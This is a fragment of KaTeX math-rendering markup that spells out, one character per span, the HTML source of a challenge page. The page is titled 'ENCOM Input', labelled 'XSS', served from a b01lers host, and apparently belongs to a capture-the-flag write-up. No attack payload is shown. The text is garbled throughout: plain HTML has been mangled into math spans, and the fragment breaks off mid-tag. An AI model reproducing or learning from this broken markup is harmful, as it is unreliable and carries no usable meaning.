class="mord">.</span><span class="mord mathnormal">b</span><span class="mord">0</span><span class="mord">1</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mord">0</span><span class="mord">0</span><span class="mord">6</span><span class="mord">/</span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mord mathnormal">h</span><span class="mord mathnormal">t</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&lt;</span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mclose">!</span><span class="mord mathnormal">d</span><span class="mord mathnormal">o</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">p</span><span class="mord mathnormal">e</span><span class="mord mathnormal">h</span><span class="mord mathnormal">t</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">h</span><span class="mord mathnormal">t</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord">8</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.61508em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">a</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord">&quot;</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord">&quot;</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.61508em;vertical-align:0em;"></span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">a</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">a</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">&quot;</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal" style="margin-right:0.07153em;">K</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">n</span><span class="mord mathnormal">n</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">i</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord">&quot;</span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">i</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">i</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord">.</span><span class="mord mathnormal">p</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord">&quot;</span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">c</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord">/</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">c</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">h</span><span class="mord mathnormal">t</span><span class="mord mathnormal">t</span><span class="mord mathnormal">p</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord">/</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">o</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">p</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord">/</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">b</span><span class="mord mathnormal">s</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord mathnormal">u</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">/</span><span class="mord">3</span><span class="mord">.</span><span class="mord">5</span><span class="mord">.</span><span class="mord">1</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mord mathnormal">u</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">.</span><span class="mord mathnormal">m</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">s</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">p</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord">&quot;</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">&quot;</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">s</span><span class="mord">/</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">s</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">u</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.7335400000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">u</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">p</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">i</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73354em;vertical-align:-0.0391em;"></span><span class="mord">&quot;</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">u</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">t</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">i</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">&quot;</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">o</span><span class="mord">&quot;</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">&quot;</span><span class="mord mathnormal">i</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord">/</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">o</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal">p</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">b</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mord">/</span><span class="mord mathnormal">h</span><span class="mord 